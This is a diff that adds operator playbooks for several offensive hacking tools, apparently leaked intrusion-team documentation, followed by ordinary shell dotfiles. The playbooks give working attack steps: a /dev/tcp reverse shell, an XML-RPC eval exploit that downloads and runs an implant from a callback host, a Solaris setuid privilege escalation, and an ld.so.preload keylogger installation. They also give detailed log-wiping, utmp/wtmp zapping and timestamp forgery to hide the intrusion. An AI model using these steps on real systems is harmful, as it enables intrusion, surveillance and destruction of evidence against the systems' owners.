uid=99(nobody) gid=99(nobody) euid=0(root) groups=99(nobody) +## Put up/run your NOPEN. + +## Cleanup: +## In addition to the typical -logs/-find procedures, check these (or +## the equivalent, if log locations differ on your target): + +grep -r "FPScriptLog" LOCATION_FOR_APACHE/conf +grep -r "FPScriptLog" LOCATION_FOR_APACHE/etc +-tail -100 LOCATION_FOR_APACHE/logs/error_log + +## If the privilege escalation was successful and generated no errors +## then there should be no logging. diff --git a/Linux/doc/user.tool.epichero.COMMON b/Linux/doc/user.tool.epichero.COMMON new file mode 100644 index 0000000..cb9255a --- /dev/null +++ b/Linux/doc/user.tool.epichero.COMMON @@ -0,0 +1,352 @@ +# 2010-08-16 22:35:31 EDT + +############################ EPICHERO + +mx +:%s/WINDOWS_OPS_STATION_IP/192.168.254.72/g +:%s/LINUX_OPS_STATION_IP/192.168.254.71/g +:%s/LOCAL_REDIRECTOR_IP/192.168.254.72/g +:%s/REMOTE_REDIRECTOR_IP/10.X.0.51/g +:%s/REVERSE_SHELL_CALLBACK_PORT/5060/g +:%s/NOPEN_LISTEN_PORT/5424/g +:%s/ISH_CALLBACK_PORT/5061/g +:%s/TARGET_IP/10.X.0.19/g +:%s/TRIGGER_BOX_IP/192.168.0.1/g +:%s#PATH_TO_EH_DIR#/current/down/epic/#g +:%s#WORKING_DIRECTORY#/root/.history/#g +:%s/NOPEN_NAME/sendmail/g +'x + + +# +# First, set up your tunnels, there are a specific list of ports you should use +# because of the default setup on the avaya servers, confirm these settings +# after you gain access +# +# PORTS TO USE (IN AND OUT) check with iptables -n -L after you get on target +# +# 5060 5061 1719 5424 21874 +# + +cat << "EOF" | unix2dos | nc -vvv -l -p 33333 +monitor redirect -tcp -nodes 40 -lplisten RHP_CB_FOR_10.X.0.51 -target 127.0.0.1 1509 +monitor packetredirect -packeeettype icmp -listenport 2222 + +monitor redirect -tcp -nodes 40 -lplisten 443 -target TARGET_IP 443 +monitor redirect -tcp -nodes 40 -implantlisten REVERSE_SHELL_CALLBACK_PORT -target LINUX_OPS_STATION_IP REVERSE_SHELL_CALLBACK_PORT +monitor redirect -tcp -nodes 40 -lplisten NOPEN_LISTEN_PORT -target TARGET_IP NOPEN_LISTEN_PORT +EOF + +# +# On the windows box, run "telnet LINUX_OPS_STATION_IP 33333" to get your pastables +# + +# +# If you are throwing from a *Nix box (like when exploiting the second server) +# + +-tunnel +l 443 TARGET_IP 443 +r REVERSE_SHELL_CALLBACK_PORT +l NOPEN_LISTEN_PORT TARGET_IP NOPEN_LISTEN_PORT +s + + +# +# cd into the EPICHERO directory, check usage and run a survey command +# + +cd PATH_TO_EH_DIR +./eh +./eh -v -i LOCAL_REDIRECTOR_IP + +ls -lart +cat log + +# +# you are looking for the scan and patch number to confirm the system is +# vulnerable, check with the developer, but you are safe if the version is 3.0.0 +# SCAN: version=S8710-013-00.0.340.3 +# ^ ^ ^ +# | | Dot release +# | Minor Version number +# Major Version Number +# + + +# +# If everything looks good, set up your reverse shell command, and make sure it +# copied over correctly. +# + +cd PATH_TO_EH_DIR +cat << EOF > reverse.shell.script +sh >/dev/tcp/REMOTE_REDIRECTOR_IP/REVERSE_SHELL_CALLBACK_PORT <&1 2>&1 +EOF + +ls -lart ; cat reverse.shell.script + +cp /current/up/noserver-linux NOPEN_NAME +gzip NOPEN_NAME +uuencode NOPEN_NAME.gz NOPEN_NAME.gz > NOPEN_NAME.gz.uu +gedit NOPEN_NAME.gz.uu & + +# +# Ok, confirm your tunnels are good to go and throw the exploit. /tmp is +# usually not executable, so you must find another working directory +# + +nc -vvv -l -p REVERSE_SHELL_CALLBACK_PORT + +./eh -e -r -s reverse.shell.script -i LOCAL_REDIRECTOR_IP + +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + +id +date; date -u +mount + +ls -lart /root +ls -al /root/.history +ls -alc /root/.history +ls -lau /root/.history + +cd /root/.history + +pwd + +type uudecode gunzip + +uudecode; ls -lart + + +gunzip NOPEN_NAME.gz +chmod 700 NOPEN_NAME + +PATH=. D=-lNOPEN_LISTEN_PORT NOPEN_NAME + + +# +# Now that you have nopen up (hopefully), check tripwire +# +-vget /etc/tripwire/twenable.txt + +# +# Save these off, peruse them later after cleanup +# +iptables -L -n -v > T:/current/down/iptables-Lnv.TARGET_IP + + +# +# Go through your normal cleaning process, check logs, process accounting, etc. +# You will need to clean (at least) +# +# +# /var/log/httpd/error_log +# /var/log/ecs/commandhistory +# /var/log/ecs/update.log +# /var/log/secure +# /var/log/messages +# /var/iglut/upg_status.dat +# /tftpboot + +-logs /var/iglut /tftpboot /var/log/httpd/ /var/log/ecs/ + +# +# Error logs are messy, it catches the nitty gritty details of our exploit, be +# sure to scrub the hell out of it. The best thing to do is probaby use look +# for obvious logs from us and use that timestamp (down to a minute or two) to +# remove everything +# + +-ls /var/log/httpd/error_log +-tail -100 /var/log/httpd/error_log +egrep "YOUR_TIMESTAMP" /var/log/httpd/error_log +-gs grepout -w /root/.history "YOUR_TIMESTAMP" /var/log/httpd/error_log +touch -t GOOD_TIME_STAMP /var/log/httpd/error_log + +# +# The best thing to grep for in the next two is probably the same timestamp +# above timestamp of when you exploited +# +-ls /var/log/ecs/commandhistory +-get /var/log/ecs/commandhistory +-tail -50 /var/log/ecs/commandhistory +egrep "YOUR STUFF" /var/log/ecs/commandhistory +-gs grepout -w /root/.history "YOUR STUFF" /var/log/ecs/commandhistory +touch -t GOOD_TIME_STAMP /var/log/ecs/commandhistory + +# +# +# + +-ls /var/log/ecs/update.log +-tail -50 /var/log/ecs/update.log +egrep "YOUR STUFF" /var/log/ecs/update.log +-gs grepout -w /root/.history "YOUR STUFF" /var/log/ecs/update.log +touch -t GOOD_TIME_STAMP /var/log/ecs/update.log + +# +# The best thing to grep for in the secure log is a combination of your +# timestamp and sudo +# + +-ls /var/log/secure +-tail -50 /var/log/secure +egrep "^YOUR_TIMESTAMP.*sudo" /var/log/secure +-gs grepout -w /root/.history "^YOUR_TIMESTAMP.*sudo" /var/log/secure +# +# Probably won't need to touch back times +# + +# +# The best thing to grep for in /var/log/messages is a combination of your +# timestamp and update_show +# + +-ls /var/log/messages +-tail -50 /var/log/messages +egrep "^YOUR_TIMESTAMP.*update_show" /var/log/messages +-gs grepout -w /root/.history "^YOUR_TIMESTAMP.*update_show" /var/log/messages + +# +# Probably no need to touch back times +# + +# +# It is possible, we are the only thing in /var/log/httpd/ssl_requests.log, +# if so, clear the file. Otherwise grep out our stuff. the timestamp format +# is different, but you can still use the same time +# + +-ls /var/log/httpd/ssl_requests.log +-tail -50 /var/log/httpd/ssl_requests.log +egrep "YOUR_TIMESTAMP_DIFFERENT_FORMAT" /var/log/httpd/ssl_requests.log + +-gs grepout -w /root/.history "YOUR_TIMESTAMP_DIFFERENT_FORMAT" /var/log/httpd/ssl_requests.log +# OR +cat /dev/null > /var/log/httpd/ssl_requests.log + +# +# use your judgement to touch this file back to a good time +# + +# +# According to devs, we are looking for status=66 in this file, if we are the only thing here, remove the file +# + +-ls /var/iglut/upg_status.dat +-vget /var/iglut/upg_status.dat +egrep "status=66|Upgrade failed. Unable to transfer the license file to the target unit being upgraded." /var/iglut/upg_status.dat +egrep -v "status=66|Upgrade failed. Unable to transfer the license file to the target unit being upgraded." /var/iglut/upg_status.dat +-gs grepout -w /root/.history "status=66|Upgrade failed. Unable to transfer the license file to the target unit being upgraded." /var/iglut/upg_status.dat +# OR +-rm /var/iglut/upg_status.dat + +# +# And probably touch this directory back to the time of the parent directory +# + +-touch /var/iglut/.. /var/iglut/. + + +# +# The exploit does save some times for you that you can touch back, these are +# noted in the log file, on your linux ops box, enter +# + +cat PATH_TO_EH_DIRlog + +egrep TIMES PATH_TO_EH_DIRlog + +mc +:%s#FILE_HOLDING_OPT_TIMES#OPT_TIMES#g +:%s#FILE_HOLDING_TFTPBOOT_TIMES#TFTPBOOT_TIMES#g +:%s#FILE_HOLDING_OPT_WS_TIMES#OPT_WS_TIMES#g +'c + +# +# go ahead and use the timestamps it save for you to touch some directories back. +# + +touch -r FILE_HOLDING_OPT_WS_TIMES `ls -l /opt/ws | cut -d '>' -f2` +touch -r FILE_HOLDING_OPT_TIMES /opt +touch -r FILE_HOLDING_TFTPBOOT_TIMES /tftpboot + + +# +# If you are good to implant, know that SAFFRONYELLOW combined with DEWDROP +# causes causes date to never return. The install will (should probably) be +# successful, but you WILL LOOSE the window you installed from!!!! +# Be prepared. +# + +# +# Once you implant, you will probably need a trigger like this: +# + +mx +:%s#HIDDEN_DIR#/lib/.b625a59f5f2a26de#g +`x + +# +# Be sure you have your tunnels set up for the trigger if you are triggering +# through Windows +# + +cat << "EOF" | unix2dos | nc -l -p 5555 +monitor redirect -tcp -nodes 40 -target LINUX_OPS_STATION_IP ISH_CALLBACK_PORT -implantlisten ISH_CALLBACK_PORT +monitor redirect -tcp -nodes 40 -target TARGET_IP REVERSE_SHELL_CALLBACK_PORT -lplisten REVERSE_SHELL_CALLBACK_PORT +monitor packetredirect -packettype udp -listenport 2222 -bind WINDOWS_OPS_STATION_IP +EOF + + +# +# Once again, on windows "telnet LINUX_OPS_STATION_IP 5555" +# + +ourtn -eY5U /current/up/noserver-linux -O REVERSE_SHELL_CALLBACK_PORT -p ISH_CALLBACK_PORT -i TRIGGER_BOX_IP -W WINDOWS_OPS_STATION_IP:2222 -w HIDDEN_DIR TARGET_IP + +# +# And if you are attacking from a *Nix box +# + +-irtun TARGET_IP ISH_CALLBACK_PORT -eY5U /current/up/noserver-linux -O REVERSE_SHELL_CALLBACK_PORT -w HIDDEN_DIR + +# +# now there is some collection the developers need +# + + +-get /var/log/secure* +-get /var/log/messages* +-get /var/log/httpd/access_log* +-get /var/log/httpd/ssl_request* +-get /var/log/ecs/commandhistory.* +-get /var/log/httpd/error_log* + +# +# Get the last 2 or 3 of these +# + +ls -lart /var/log/ecs/ | tail -5 + + +# +# Get this file too +# +-lsh egrep "wlog$" /current/*timem + +-get /etc/opt/defty/xln1 +du -sh /etc/opt/ecs +-get /etc/opt/ecs +-get /etc/sysconfig/network-scripts +-get /opt/ecssw*/tripwire.conf + +# +# Now, if after all this you have time, go exploit the second guy! +# + + diff --git a/Linux/doc/user.tool.excelberwick.COMMON b/Linux/doc/user.tool.excelberwick.COMMON new file mode 100644 index 0000000..f26c5c3 --- /dev/null +++ b/Linux/doc/user.tool.excelberwick.COMMON @@ -0,0 +1,153 @@ +####################################### +# EXCELBERWICK +####################################### + +### remote exploit against xmlrpc.php on Unix platforms +### +### WILL REQUIRE LOCAL ELEVATION + +### sybil location: CGI-BIN + +### Exploits a vulnerability in the XML-RPC PHP script. The vulnerable +### file is used in a large number of web applications, such as Drupal, +### b2evolution, and TikiWiki. The vulnerability is the result of +### unsanitized data being passed directly to the eval() call +### in the parseRequest() function of the XML-RPC server + +### OPSEC: +### vulnerability: public +### exploit: public + +### Usage: +# ./xp_xmlrpc.pl + usage: ./xp_xmlrpc.pl -i -d -c + + -i + -d + -p + -o + -v + -a + 0: /xmlrpc.php + 1: /blog/xmlrpc.php + 2: /blog/xmlsrv/xmlrpc.php + 3: /blogs/xmlsrv/xmlrpc.php + 4: /drupal/xmlrpc.php + 5: /phpgroupware/xmlrpc.php + 6: /wordpress/xmlrpc.php + 7: /xmlrpc/xmlrpc.php + 8: /xmlsrv/xmlrpc.php + 9: /b2/xmlsrv/xmlrpc.php + 10: /b2evol/xmlsrv/xmlrpc.php + 11: /community/xmlrpc.php + 12: /blogs/xmlrpc.php + -c + + Examples: + 1) ./xp_xmlrpc.pl -i127.0.0.1 -d/drupal/xmlrpc.php -c"uname -a;ls -la;w" + 2) ./xp_xmlrpc.pl -i127.0.0.1 -d/drupal/xmlrpc.php -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://10.1.2.150:5555/sendmail -Osendmail;chmod +x sendmail;D=-c10.1.2.150:9999 PATH=. sendmail) 2>/dev/null" + + +### Check if PHP is there: + +# from redirector: +-scan http TARGET_IP + +# The response should include "PHP/" though the version doesn't necessarily matter +# Ex. response: Server: Apache/2.0.40 (Red Hat Linux) mod_perl/1.99_05-dev Perl/v5.8.0 mod_auth_pgsql/0.9.12 PHP/4.2.2 mod_python/3.0.0 Python/2.2.1 mod_ssl/2.0.40 OpenSSL/0.9.6b DAV/2 + + +mx +:%s/TARGET_IP/TARGET_IP/g +:%s/WEB_PORT/WEB_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/REDIR_IP/REDIR_IP/g +:%s/NOPEN_PORT/NOPEN_PORT/g +'x + + + +### Then check if vulnerable by running the "-a" option to exhaust all options +# WEB-PORT is usually '80' unless the target is using something else, or you +# choose to tunnel it differently + +# redirector: +-tunnel +l WEB_PORT TARGET_IP + +# local script window: +./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -a -c"w" + +### Look through the output; a successful hit will be followed by +### the results of the command issued by the "-c" option, in the suggested case, +### the results of "w' +### Each unsuccessful version will be followed by "404 not found" errors + +### If the previous command yielded a successful attempt, then run the exploit again +### but substitute the version that was successful instead of using "-a" + + +### Prepare the appropriate nopen version with an http header: +# Locally: +ls -l /current/up/noserver +file noserver +echo -e 'HTTP/1.0 200\n' > new +cat new ../up/morerats/noserver*-i586.pc.linux.gnu.redhat-5.0 > /current/up/sendmail + +nc -l -v -p NETCAT_PORT < sendmail + + +# on redirector: +-nrtun NOPEN_PORT + + +### Replace "VERSION" with the appropriate php script, then run exploit to upload and execute nopen: + + +./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -d"VERSION" -c"mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://REDIR_IP:NETCAT_PORT/sendmail -Osendmail;chmod +x sendmail;D=-cREDIR_IP:NOPEN_PORT PATH=. sendmail) 2>/dev/null" + + +### connect: + +-nstun TARGET_IP + +### +### TROUBLESHOOTING: +### + +# Try this to get interactive windows (you'll type in one, and get output in the other): + +mx +:%s/PORT1/PORT1/g +:%s/PORT2/PORT2/g +'x + +# Local scripted window #1: + +nc -l -vv -p PORT1 + + +# Local scripted window #2: + +nc -l -vv -p PORT2 + + +# Local scripted window #3: + +./xp_xmlrpc.pl -i127.0.0.1 -pWEB_PORT -d"VERSION" -c"sleep 100 | telnet REDIR_IP PORT1 | /bin/sh | telnet REDIR_IP PORT2" + + + + + +### +### CLEANUP: +### + +# Logging directory depends on type of web software running on target (check -find): +# Try /var/log/httpd: +# access_log +# referer_log +# error_log + + diff --git a/Linux/doc/user.tool.extremeparr.COMMON b/Linux/doc/user.tool.extremeparr.COMMON new file mode 100644 index 0000000..15da935 --- /dev/null +++ b/Linux/doc/user.tool.extremeparr.COMMON @@ -0,0 +1,272 @@ +############################ EXTREMEPARR as of Thu Sep 8 10:43:49 EDT 2011 +############### If not in NOPEN, do this if you haven't already done so: +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + + +############### Is it there and is it setuid-root? +##### If not, stop (duh) +-ls /usr/dt/bin/dtappgather + + +################ First, add these to your PATH, as they might have suids that work: +-addpath /usr/bin/sparcv7 /usr/bin/sparcv9 /usr/sbin/sparcv7 /usr/sbin/sparcv9 + + +################ Find suid root app that uses locales....possible candidates are: +################ ("at" seems the most reliably set to be setuid-root) +################ If one can't be found, stop here + +-lss -U -g r.s.*root -P who w whodo at ps ls + +################ Examine paths returned by the above to verify suid root app +################ -rwsr-xr-x 1 root sys /bin/whatever + + +################ DO THIS ONLY IF YOU ARE GOING TO USE "at" as your suid binary +################ Check for existence of these files. If the "at.allow" files +################ exist, our current uid must be explicitly stated in the +################ "at.allow" file. If "at.allow" does not exist but "at.deny" +################ does, we're ok as long as we're NOT in the file. If none of +################ files exist, we're screwed. + +-lt /etc/cron.d/at.allow /etc/cron.d/at.deny /usr/lib/cron/at.allow /usr/lib/cron/at.deny +-cat /etc/cron.d/at.allow +-cat /etc/cron.d/at.deny +-cat /usr/lib/cron/at.allow +-cat /usr/lib/cron/at.deny + +################ Upload tarball to target +##### NOPEN +-pwd +-cd /tmp/.scsi +-put /current/up/exp.tar.Z e.tar.Z + +##### ftshell +pwd +cd /tmp/.scsi +~~p +/current/up/exp.tar.Z e.tar.Z + + +############### Extract our cool stuff... +uncompress e.tar.Z && tar xvf e.tar + + +############### Make sure needed files are there: + ##### If Solaris 2.6 Sparc + ls -la su.so.2.6s && cp su.so.2.6s su.so.2 + ls -la exp.s && cp exp.s exp + + ##### If Solaris 2.[789] Sparc + ls -la su.so.2.789s && cp su.so.2.789s su.so.2 + ls -la exp.s && cp exp.s exp + + ##### If Solaris 10 or 11 Sparc + ls -la su.so.2.1011s && cp su.so.2.1011s su.so.2 + ls -la exp.s && cp exp.s exp + + ##### If Solaris 2.6 Intel + ls -la su.so.2.6x && cp su.so.2.6s su.so.2 + ls -la exp.x && cp exp.x exp + + ##### If Solaris 2.[789] Intel + ls -la su.so.2.789x && cp su.so.2.789x su.so.2 + ls -la exp.x && cp exp.x exp + + ##### If Solaris 10 or 11 Intel + ls -la su.so.2.1011x && cp su.so.2.1011x su.so.2 + ls -la exp.x && cp exp.x exp + +############### Make sure name of locale we are "installing" does not exist +-ls /usr/lib/locale/su + + +##### If for some goofy reason it does exist, choose a name of a directory that +##### does not exist in /usr/lib/locale, and use that name in the next command +##### for NEWNAME +cp su.so.2 NEWNAME.so.2 + + +##### Save these listings so we can restore proper permissions and such later +##### EXTREMEPARR should print out commands to restore these, but will used these +##### to compare to later in the script (also, itime doesn't exist for 2.10+, may +##### need to use touch or Ctrl after a STOIC install). +#mtime: +ls -al /usr/lib | egrep "(locale|\.$)" +ls -al /var/dt/appconfig | egrep "(appmanager|\.$)" +ls -al /var/dt | egrep "(appconfig|\.$)" +#utime (access): +ls -alu /usr/lib | egrep "(locale|\.$)" +ls -alu /var/dt/appconfig | egrep "(appmanager|\.$)" +ls -alu /var/dt | egrep "(appconfig|\.$)" +#ctime (inode change): +ls -alc /usr/lib | egrep "(locale|\.$)" +ls -alc /var/dt/appconfig | egrep "(appmanager|\.$)" +ls -alc /var/dt | egrep "(appconfig|\.$)" + + +##### NEW: You can now immediately use the "at" command to get your shell +##### immediately when running this, rather that setting up environment +##### and running commands separately. Make sure to save any cmds spit +##### out by exploit for restoring things. +##### +##### Do this new method with the following command: + +### Using NOPEN (see old way below for other shell syntax if not using NOPEN) +-shell +AT=1; export AT; ./exp su +### or ### +-shell +AT=1; export AT; ./exp NEWNAME + + + +################################################################################## +##### If you ran exp with the above command with AT environment variable, skip +##### down to the "I AM ROOT" line in this script. + + + +##### OLD: Run the exploit and save the commands to restores permissions/timestamps it spits out +./exp su +### or ### +./exp NEWNAME + +##### If exploit fails at first, run again with new name for shared object +cp su.so.2 ANOTHERNAME.so.2 +./exp ANOTHERNAME + +############## If you are using NOPEN, use -shell from now until we have root +-shell +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + + +############## Find the suid root program that uses locales +##### If you need to use at -l, set an at job first +##### Save the at job number in your script +echo "" | at now + 180 mins + +##### Set up the environment variable... + ## If in Bourne shell or -shell in NOPEN + LC_TIME=su + ## OR ## + LC_TIME=NEWNAME + + export LC_TIME + + ## If in csh + setenv LC_TIME su + ## OR ## + setenv LC_TIME NEWNAME + + ## If in ksh or bash + export LC_TIME=su + ## OR ## + export LC_TIME=NEWNAME + + +##### Check to make sure the setting of the environment variable worked +echo $LC_TIME + + +##### Run your setuid program: choose the appropriate one you found before +who +w +whodo +at -l +ps -ef +ls -la + + +################################################################################## + + +##### I AM ROOT! (hopefully) +##### You should now see a root prompt or nothing, but you may be root anyway, so: +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +pwd + +##### Get out of whatever goofy directory the exploit puts you in, and see if +##### anything changed in the directory you got stuck in (shouldn't happen, but +##### worth checking anyway) +ls -lart +mkdir WORKINGDIR +cd WORKINGDIR + + +##### Upload NOPEN and run it, or start NOPEN on a different port if you were +##### already in NOPEN and smartly left the binary there + +##### Connect to the root NOPEN then exit the exploit shell and connection +#exit +#exit +#-burnBURN +##### The rest should be done from a root NOPEN + +############# If you had to use at (either yourself or with the AT +############# environment variable option)....remove at job +##### Do this once you have NOPEN running and can exit from the shell +at -l +at -r YOURATJOB.a +at -l + +############### Once NOPEN is running as root and you have exited the root shell... +############### Clean up history file if needed +-ls HISTORYFILE +tail -50 HISTORYFILE + + +##### Fix as necessary +##### LEGITNUM = number of lines in history that are legit (before us) +wc -l HISTORYFILE +head -LEGITNUM HISTORYFILE > t +cat t > HISTORYFILE +touch -r SOMEFILE HISTORYFILE + + +################ Repairing what the "exp" binary did +##### remove our locales that we made +##### if there were failures, make sure to remove them too +##### failures will be obvious from ls -lart, not from owners +##### rm -rf of anything not good, do it this way +-lt /usr/lib/locale + +rm /usr/lib/locale/su/* +## OR ## +rm /usr/lib/locale/NEWNAME/* + +rmdir /usr/lib/locale/su +## OR ## +rmdir /usr/lib/locale/NEWNAME + +############### Run the commands spit out by the exploit to restore +############### ownerships/permissions/timestamps/etc. +##### Put up the correct itime in order to run cleanup commands +-put /current/up/itime it + + +##### Now check to make sure things match the previous saved output +ls -al /usr/lib | egrep "(locale|\.$)" +ls -al /var/dt/appconfig | egrep "(appmanager|\.$)" +ls -al /var/dt | egrep "(appconfig|\.$)" + +############## If you used "at", check crontabs and logs +-lt /var/adm +-lt /var/spool/cron +-lt /var/spool/cron/atjobs +touch -r /var/spool/cron/crontabs /var/spool/cron/atjobs +-tail -40 /var/cron/log + +############## Don't forget to delete stuff in working directory +-lt +rm sendmail su.so.2* exp* e.tar it + + +############## You're all done.....do what you gotta do.......... diff --git a/Linux/doc/user.tool.shentysdelight.COMMON b/Linux/doc/user.tool.shentysdelight.COMMON new file mode 100644 index 0000000..973f802 --- /dev/null +++ b/Linux/doc/user.tool.shentysdelight.COMMON @@ -0,0 +1,94 @@ +#localy +sha1sum PROJECTNAME.IP + +mx +:%s/UNHOOK/UNHOOK/g +'x + + +#on target +uname -a + +#kernel > 2.6.10 +mx +:%s:FILENAME:linux-gate.so.0:g +'x +# --- or ---- +mx +:%s:FILENAME:libattr.so:g +'x + +#kernel < 2.6.10 +mx +:%s:FILENAME:libnsl-2.2.4.so:g +'x + + +-lt /usr/lib/FILENAME +# verify it does not exist + +ls -l /selinux +#does SeLinux exist on this box? if not put a # in the search below +mx +:%s/SELINUX//g +'x + +-lt /var/run +#check to make sure /var/run/utmp exists adjusts collection file as needed +#if your filename has a ~ in it make sure to escape it +mx +:%s:COLFILE:utmp\~:g +'x + +#locally +cp shentysdelight.linux FILENAME +./Store --file="FILENAME" --wipe +#delete old settings + + +echo -ne "/var/run/COLFILE\0" | ./Store --file="FILENAME" --set="cf" +echo -ne "/dev/tty\0" | ./Store --file="FILENAME" --set="tf1" +echo -ne "UNHOOK\0" | ./Store --file="FILENAME" --set="env" +echo -ne "FILENAME\0" | ./Store --file="FILENAME" --set="hf1" +echo -ne "COLFILE\0" | ./Store --file="FILENAME" --set="hf2" + +-lt /etc/ld.so.preload +#Does the file exist? If not remove the # from the following search +mx +:%s/NOLDSO/#/g +'x + + +NOLDSO echo -ne "ld.so.preload\0" | ./Store --file="FILENAME" --set="hf3" + +cp FILENAME /current/up + +#on target +-put /current/up/FILENAME FILENAME + +mv FILENAME /lib +chown --reference=/lib/$(readlink /lib/libc.so.6) /lib/FILENAME +chmod 4755 /lib/FILENAME +SELINUX chcon --reference=/lib/libc.so.6 /lib/FILENAME +echo "1" > /var/run/COLFILE +SELINUX chcon --reference=/var/run/utmp /var/run/COLFILE + + +echo "FILENAME" >> /etc/ld.so.preload +NOLDSO chmod 644 /etc/ld.so.preload +SELINUX NOLDSO chcon --reference=/etc/passwd /etc/ld.so.preload + +#put the following in your opnotes +installed SHETYSDELIGHT as /lib/FILENAME collectionfile is /var/run/COLFILE +SeLinux is ->SELINUX<- noldso is ->NOLDSO<- unhook environment variable is +->UNHOOK<- + + +################Collection########################### + +-get /var/run/utmp~ +echo "1" > /var/run/utmp~ + +./ExtractData FILENAME > /current/down/sniffer/keylogger + + diff --git a/Linux/doc/user.tool.yellowspirit.COMMON b/Linux/doc/user.tool.yellowspirit.COMMON new file mode 100644 index 0000000..dc4b78a --- /dev/null +++ b/Linux/doc/user.tool.yellowspirit.COMMON @@ -0,0 +1,134 @@ +mx +:%s/PITCH_IP/PITCH_IP/g +:%s/TARGET_IP/TARGET_IP/g +:%s/HOST_NAME/HOST_NAME/g +:%s/DOMAIN_NAME/DOMAIN_NAME/g +:%s/RAT_NAME/RAT_NAME/g +:%s/RHP-22/RHP-22/g +:%s/RHP-23/RHP-23/g +:%s/RHP-24/RHP-24/g +:%s/WORK_DIR/WORK_DIR/g +`x + +### If ratload fails, use doubleT +# wrap-telnet.sh -l REDIRECTIP -p RHP-22 -s RHP-23 -x RHP-24 +# xc -x REDIRECTIP -y RHP-24 -s REDIRECTIP 127.0.0.1 +# doubleT -i PITCH_IP -t RHP-22 RHP-23 +# -tunnel +# u 177 TARGET_IP +# r RHP-22 +# r RHP-23 +# r RHP-24 + +# On redirector - set up nopen tunnel + +-tunnel +u 177 TARGET_IP +r RHP-24 +r RHP-21 +s + +######## use ys.auto first which won't require you to start separate xc command +######## selects random ports for you +######## brings up scripted packrat window +######## gives pastable -tunnel commands if redirecting +######## examples: +#### ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -d /tmp/.dir +#### ys.auto -i 10.0.3.1 +#### ys.auto -i TARGET_IP -l REDIRECTOR_IP +####### or on nc window first, then delete all pop-ups + + #Local window1 +./wrap-sun.sh -l PITCH_IP -r RAT_NAME -p RHP-21 -x RHP-24 -d /tmp/WORK_DIR + #hit return + # type y and hit return + + #Local window2 + # for redirection local ip is redirector ip + +./xc -s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP + #hit return + #hit return + #hit return + #(At this point you should see a continue.... in your attack1 window + + #in the attack1 window + #hit return + #hit return + #hit return + + #(you should see your upload happen...) + + #Ctrl-C your nc window + #Ctrl-C your xc window +#w/o tunneling +../bin/noclient TARGET_IP + +#w/ tunneling. In redirector window +-nstun TARGET_IP + +##### If ratload fails, use doubleT +# wrap-telnet.sh -l REDIRECTIP -p RHP-22 -s RHP-23 -x RHP-24 +# xc -x REDIRECTIP -y RHP-24 -s REDIRECTIP 127.0.0.1 +# doubleT -i PITCH_IP -t RHP-22 RHP-23 +# -tunnel +# u 177 TARGET_IP +# r RHP-22 +# r RHP-23 +# r RHP-24 +##### otherwise continue + +-rm RAT_NAME + +##### Cleaning up ###### +ps -ef |grep dtlogin + +# You should see a recent one : mine was +kill -9 DTLOGINPORT + +ps -ef |grep dtlogin + +-ls -t /var/dt/ + +# you will notice Xerrors is the most recent + +-tail /var/dt/Xerrors + +# if your entries are the only ones there.... + +cat /dev/null >/var/dt/Xerrors + +# if there are other entries you will do something like + +wc -l /var/dt/Xerrors + +subtract the number of lines that are because of you from above + +head -(what's left) > t ; cat t + +if it looks good: + +cat t >/var/dt/Xerrors +-rm t + +-ls -t /var/adm +#anything that has a resonably current timestamp you should check + +#toasting the login entries..... + +# Target window +-put ../up/toast t + +### TO VIEW... +./t -u /var/adm/utmp +./t -u /var/adm/wtmp | tail -20 +./t -x /var/adm/utmpx +./t -x /var/adm/wtmpx | tail -20 +./t -l /var/adm/lastlog | tail + +### TO ZAP... +./t -u /var/adm/utmp tty date +./t -u /var/adm/wtmp tty date +./t -x /var/adm/utmpx tty date +./t -x /var/adm/wtmpx tty date + diff --git a/Linux/etc/.bash_login b/Linux/etc/.bash_login new file mode 100755 index 0000000..6b1dfca --- /dev/null +++ b/Linux/etc/.bash_login @@ -0,0 +1,8 @@ +#!/bin/bash +/root/Change-IP-MAC-Add-routes + + +setnumlock +#rm -F /root/.bash_login + +sed -i "s/\/root\/.bash_login*/""/g" /root/.bash_profile diff --git a/Linux/etc/.bash_logout b/Linux/etc/.bash_logout new file mode 100644 index 0000000..73dcc0f --- /dev/null +++ b/Linux/etc/.bash_logout @@ -0,0 +1 @@ +# ~/.bash_logout diff --git a/Linux/etc/.bash_profile b/Linux/etc/.bash_profile new file mode 100644 index 0000000..b2cc3d8 --- /dev/null +++ b/Linux/etc/.bash_profile @@ -0,0 +1,15 @@ + +export PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin + +if [ -f ~/.bashrc ] ; then + source ~/.bashrc + +fi + +# Now started by gnome at login +#if [ ! -f /var/lock/op_prepped ] ; then +# if [ -x /root/op_prep.py ] ; then +# xterm -bg white -fg black -geometry 84x45+0+0 -hold -e /root/op_prep.py +# fi +# touch /var/lock/op_prepped +#fi diff --git a/Linux/etc/.bashrc b/Linux/etc/.bashrc new file mode 100644 index 0000000..5b3d4b3 --- /dev/null +++ b/Linux/etc/.bashrc @@ -0,0 +1,47 @@ +# .bashrc + +# User specific aliases and functions + +alias rm='rm -i' +alias cp='cp -i' +alias mv='mv -i' + +# Source global definitions +if [ -f /etc/bashrc ]; then + . /etc/bashrc +fi +stty erase ^? + + +alias scriptme='cd /current/down; SCRIPTME=2 /usr/bin/script -af script.$$' + +##add for all the xterm aliases a scriptme option +alias s1x='SCRIPTME=1 1x' +alias s1xs='SCRIPTME=1 1xs' +alias s1xw='SCRIPTME=1 1xw' +alias s2x='SCRIPTME=1 2x' +alias s2xs='SCRIPTME=1 2xs' +alias s2xw='SCRIPTME=1 2xw' +alias s3x='SCRIPTME=1 3x' +alias s3xs='SCRIPTME=1 3xs' +alias s3xw='SCRIPTME=1 3xw' +alias s4x='SCRIPTME=1 4x' +alias s4xs='SCRIPTME=1 4xs' +alias s4xw='SCRIPTME=1 4xw' + +##myenv directly embedded, no longer need to set DISPLAY, also hardcoded to /current instead of /home/black/tmp +if [ ${SCRIPTME:-0} == 2 ]; then + export SCRIPTME=0 